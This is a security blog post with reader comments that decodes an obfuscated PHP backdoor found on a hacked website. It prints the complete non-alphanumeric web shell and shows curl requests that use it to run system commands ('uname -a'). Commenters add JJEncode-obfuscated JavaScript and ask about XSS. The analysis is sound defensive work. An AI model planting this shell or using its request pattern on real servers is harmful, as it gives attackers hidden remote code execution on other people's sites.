If you have any questions about malware, blacklisting, or security in general, send them to contact@sucuri.net and we will write a post about it and share. For all the “Ask Sucuri” answers, go here.
Question: My site got hacked and I am seeing this backdoor with no alpha numeric characters. What is it doing?
@$_[]=@!+_; $__=@${_}>>$_;$_[]=$__;$_[]=@_;$_[((++$__)+($__++ ))].=$_; $_[]=++$__; $_[]=$_[--$__][$__>>$__];$_[$__].=(($__+$__)+ $_[$__-$__]).($__+$__+$__)+$_[$__-$__]; $_[$__+$__] =($_[$__][$__>>$__]).($_[$__][$__]^$_[$__][($__<<$__)-$__] ); $_[$__+$__] .=($_[$__][($__<<$__)-($__/$__)])^($_[$__][$__] ); $_[$__+$__] .=($_[$__][$__+$__])^$_[$__][($__<<$__)-$__ ]; $_=$ $_[$__+ $__] ;$_[@-_]($_[@!+_] );
Answer: Backdoors are tools used by attackers to help them maintain access to the sites they compromise. The harder it is to find the backdoor, the better for the attackers, since it will likely remain undetected allowing them to reinfect or regain access to the site whenever they want.
This backdoor is a very good example of a sneaky one. No alpha numeric characters, no direct function calls or anything like that. So what is it doing? We asked one of our developers, Yorman Arias, to help decode it.
Non-Alphanumeric PHP-Shell
This is an interesting PHP-Shell with non-alphanumeric characters, it is created with an array of data concatenated to be able to execute any PHP function with one optional argument that can be passed through a GET request.
Since it is very hard to read, we divided it into parts by adding a new line after each semicolon:
As you can see, we wrote some var_dump sentences after each line involved with a mathematical and functional operation.
To decode it in more detail, we executed it without hesitation because there wasn’t an operation with direct contact with the filesystem. In the process we got these two warnings (shell.php is the filename we chose to work with):
PHP Notice: Undefined offset: 0 in /shell.php on line 16 PHP Fatal error: Function name must be a string in /shell.php on line 17
We assumed that the shell was waiting for an argument in offset 0 to be a valid PHP function name using this code: $_[0]. The last sentence was obviously the execution of that method, so we used the common function system() and sent a GET request to the shell like this:
$ curl 'httx:// 127.0.0.1:9999/shell .php?0=system'
But didn’t get a response, so we checked the server logs to find this:
PHP Warning: system(): Cannot execute a blank command in /shell.php on line 17
The PHP function system() was waiting for an argument with a valid command to be executed on the server, but it wasn’t in the code so it should be passed as another parameter in the request, and finally got this:
$ curl 'httx://127.0.0.1:9999/ shell .php?0=system &1=uname %20-a' Linux linux 3.7-trunk-amd64 #1 SMP Debian 3.7.2-0+kali8 x86_64 GNU/Linux
Technical Explanation
Step #1
The PHP Shell started with this code: @$_[]=@!+_; an array initialization with a curious value. PHP will try to parse the underscore present in the value of that variable as a constant, and when the interpreter is unable to find the constant, it will prompt us with a notice. The creator of this shell suppressed the notice warning using the @ symbol.
The missing constant in turn will be converted to a string: string(1) ‘_’ and this one was casted to an integer using the plus-operator to get this: int(0)
Finally, appending the exclamation-mark, the value zero will be casted to a boolean bool(true). So, at the last we have a first line of code decoded being interpreted as an array with a single boolean value: array(true)
Step #2
The programmer tries to store it by pushing the value into the array $_, however it doesn’t exist, so he suppressed that too. PHP will automagically create it, and the value will get stored.
Normally, when we try to access an array as a string in PHP, it will generate a string with value Array. If we have a string, we can generate other strings out of it by (ab)using AND, OR and XOR.
It seems the programmer figured that he had a few characters that could easily generate in PHP, so he generated the characters to create the word GET, and by utilizing some boolean magic and variable dereferencing, he ended up with a PHP Shell with no functions, no strings and no numbers.
Update 1: You can also found an older analysis of this backdoor here: http://blog.omfgitsasalmon.com/. What is also interesting is that according to some comments, this backdoor was created in early 2011 and only now is being used in the wild by attackers.
Conclusion
What more is there to say.. 🙂
If you guys have any questions about this backdoor (or have any others you’d like us to breakdown), let us know.
27 comments
That’s a really sneaky way to obfuscate code, thanks for sharing!
WoW nice explanation as always Daniel.
Thanks for this.. Hopefully I’ll never see it in the wild.
Sick!
How is this used to attack a site? How do we prevent it?
did you not see the example of running system commands from a URL request!? =
To prevent it, make sure your permissions and security are locked down so that such files cannot be created.
daman!
Woooww….
this looks similar to jjencode (Google ‘jjencode ‘ is and look at top result)
‘Can’t treat array as a string’ – its true, however this is required for make “Array” string, so further analysis are wrong. Concatenating string and array produces a notice – OK, but after that [2] element of array $_ contains ‘_Array’. Its intended to do that.
Here’s a post from 24th November 2011, where a programmer created this same obfuscated shell. Oddly the list at the end of this article on Sucuri seems to pulled straight from the blog post: http://blog.omfgitsasalmon.com/
Anyway I can get credit for this? http://blog.omfgitsasalmon.com/
Done. We shouldn’t have used your conclusion without referencing it.
Woah. You found my snippet of code out in the wild? I originally started playing around with PHP obfuscation back in 2011. I had a blog post explaining all the full details of what it did as well, back on h.ackack.net, sadly enough, the site isn’t up anymore. Anyway, it seems that some guy at rstforums.com reposted my original post about the technique. URL: https://rstforums.com/forum/45129-anti-alphanum-php-shell.rst
Interesting. And yes, it was found in the wild and reported by a client.
That’s not very good. It was intended to be a proof of concept for the wonders of PHP.
This is what I’ve been looking for. Thank you!
Several years ago when I first saw this http://www.thespanner.co.uk/2011/09/22/non-alphanumeric-code-in-php/ I did wonder how long it would take for hackers to weaponise it.
JavaScript.
Enjoy.
゚ω゚ノ= /`m´)ノ ~┻━┻ //*´∇`*/ [‘_’]; o=(゚ー゚) =_=3; c=(゚Θ゚) =(゚ー゚)-(゚ー゚); (゚Д゚) =(゚Θ゚)= (o^_^o)/ (o^_^o);(゚Д゚)={゚Θ゚: ‘_’ ,゚ω゚ノ : ((゚ω゚ノ==3) +’_’) [゚Θ゚] ,゚ー゚ノ :(゚ω゚ノ+ ‘_’)[o^_^o -(゚Θ゚)] ,゚Д゚ノ:((゚ー゚==3) +’_’)[゚ー゚] }; (゚Д゚) [゚Θ゚] =((゚ω゚ノ==3) +’_’) [c^_^o];(゚Д゚) [‘c’] = ((゚Д゚)+’_’) [ (゚ー゚)+(゚ー゚)-(゚Θ゚) ];(゚Д゚) [‘o’] = ((゚Д゚)+’_’) [゚Θ゚];(゚o゚)=(゚Д゚) [‘c’]+(゚Д゚) [‘o’]+(゚ω゚ノ +’_’)[゚Θ゚]+ ((゚ω゚ノ==3) +’_’) [゚ー゚] + ((゚Д゚) +’_’) [(゚ー゚)+(゚ー゚)]+ ((゚ー゚==3) +’_’) [゚Θ゚]+((゚ー゚==3) +’_’) [(゚ー゚) – (゚Θ゚)]+(゚Д゚) [‘c’]+((゚Д゚)+’_’) [(゚ー゚)+(゚ー゚)]+ (゚Д゚) [‘o’]+((゚ー゚==3) +’_’) [゚Θ゚];(゚Д゚) [‘_’] =(o^_^o) [゚o゚] [゚o゚];(゚ε゚)=((゚ー゚==3) +’_’) [゚Θ゚]+ (゚Д゚) .゚Д゚ノ+((゚Д゚)+’_’) [(゚ー゚) + (゚ー゚)]+((゚ー゚==3) +’_’) [o^_^o -゚Θ゚]+((゚ー゚==3) +’_’) [゚Θ゚]+ (゚ω゚ノ +’_’) [゚Θ゚]; (゚ー゚)+=(゚Θ゚); (゚Д゚)[゚ε゚]=”; (゚Д゚).゚Θ゚ノ=(゚Д゚+ ゚ー゚)[o^_^o -(゚Θ゚)];(o゚ー゚o)=(゚ω゚ノ +’_’)[c^_^o];(゚Д゚) [゚o゚]='”‘;(゚Д゚) [‘_’] ( (゚Д゚) [‘_’] (゚ε゚+(゚Д゚)[゚o゚]+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) – (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) – (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (o^_^o)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) – (゚Θ゚))+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚ー゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (c^_^o)+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) – (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) – (゚Θ゚))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (c^_^o)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (o^_^o)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (o^_^o))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) – (゚Θ゚))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚o゚]) (゚Θ゚)) (‘_’);
alert(“Hello, JavaScript!”)
alert(“YOU DONT SAY?”)
Parse error: syntax error, unexpected ‘<' in test.php on line 5 o_O
Woooww ! This is what I’ve been looking for. Thank you!
It’s great. I also met a few times before this case. Fortunately, it’s simple to solve because I have a few friends know about this issue. Thanks for your useful sharing. It really is essential
hello
whether exist none alphanumeric for html(usable to xss)?
Круто.
゚ω゚ノ= /`m´)ノ ~┻━┻ //*´∇`*/ [‘_’]; o=(゚ー゚) =_=3; c=(゚Θ゚) =(゚ー゚)-(゚ー゚);
(゚Д゚) =(゚Θ゚)= (o^_^o)/ (o^_^o);(゚Д゚)={゚Θ゚: ‘_’ ,゚ω゚ノ : ((゚ω゚ノ==3) +’_’)
[゚Θ゚] ,゚ー゚ノ :(゚ω゚ノ+ ‘_’)[o^_^o -(゚Θ゚)] ,゚Д゚ノ:((゚ー゚==3) +’_’)[゚ー゚] };
(゚Д゚) [゚Θ゚] =((゚ω゚ノ==3) +’_’) [c^_^o];(゚Д゚) [‘c’] = ((゚Д゚)+’_’) [
(゚ー゚)+(゚ー゚)-(゚Θ゚) ];(゚Д゚) [‘o’] = ((゚Д゚)+’_’) [゚Θ゚];(゚o゚)=(゚Д゚)
[‘c’]+(゚Д゚) [‘o’]+(゚ω゚ノ +’_’)[゚Θ゚]+ ((゚ω゚ノ==3) +’_’) [゚ー゚] + ((゚Д゚)
+’_’) [(゚ー゚)+(゚ー゚)]+ ((゚ー゚==3) +’_’) [゚Θ゚]+((゚ー゚==3) +’_’) [(゚ー゚) –
(゚Θ゚)]+(゚Д゚) [‘c’]+((゚Д゚)+’_’) [(゚ー゚)+(゚ー゚)]+ (゚Д゚) [‘o’]+((゚ー゚==3)
+’_’) [゚Θ゚];(゚Д゚) [‘_’] =(o^_^o) [゚o゚] [゚o゚];(゚ε゚)=((゚ー゚==3) +’_’)
[゚Θ゚]+ (゚Д゚) .゚Д゚ノ+((゚Д゚)+’_’) [(゚ー゚) + (゚ー゚)]+((゚ー゚==3) +’_’) [o^_^o
-゚Θ゚]+((゚ー゚==3) +’_’) [゚Θ゚]+ (゚ω゚ノ +’_’) [゚Θ゚]; (゚ー゚)+=(゚Θ゚);
(゚Д゚)[゚ε゚]=”; (゚Д゚).゚Θ゚ノ=(゚Д゚+ ゚ー゚)[o^_^o -(゚Θ゚)];(o゚ー゚o)=(゚ω゚ノ
+’_’)[c^_^o];(゚Д゚) [゚o゚]='”‘;(゚Д゚) [‘_’] ( (゚Д゚) [‘_’] (゚ε゚+(゚Д゚)[゚o゚]+
(゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+
(゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+
((o^_^o) +(o^_^o))+ ((o^_^o) – (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o)
+(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚ー゚)+
((o^_^o) – (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (o^_^o)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+
(゚Θ゚)+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) – (゚Θ゚))+ ((゚ー゚) +
(゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚ー゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (c^_^o)+ (゚ー゚)+
(゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+
((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) – (゚Θ゚))+ (゚ー゚)+
(゚Д゚)[゚ε゚]+(゚ー゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) – (゚Θ゚))+ (o^_^o)+
(゚Д゚)[゚ε゚]+(゚Θ゚)+ (c^_^o)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (o^_^o)+ (゚Θ゚)+
(゚Д゚)[゚ε゚]+((゚ー゚) + (o^_^o))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚ー゚)+
((o^_^o) – (゚Θ゚))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚o゚]) (゚Θ゚))
(‘_’);
Comments are closed.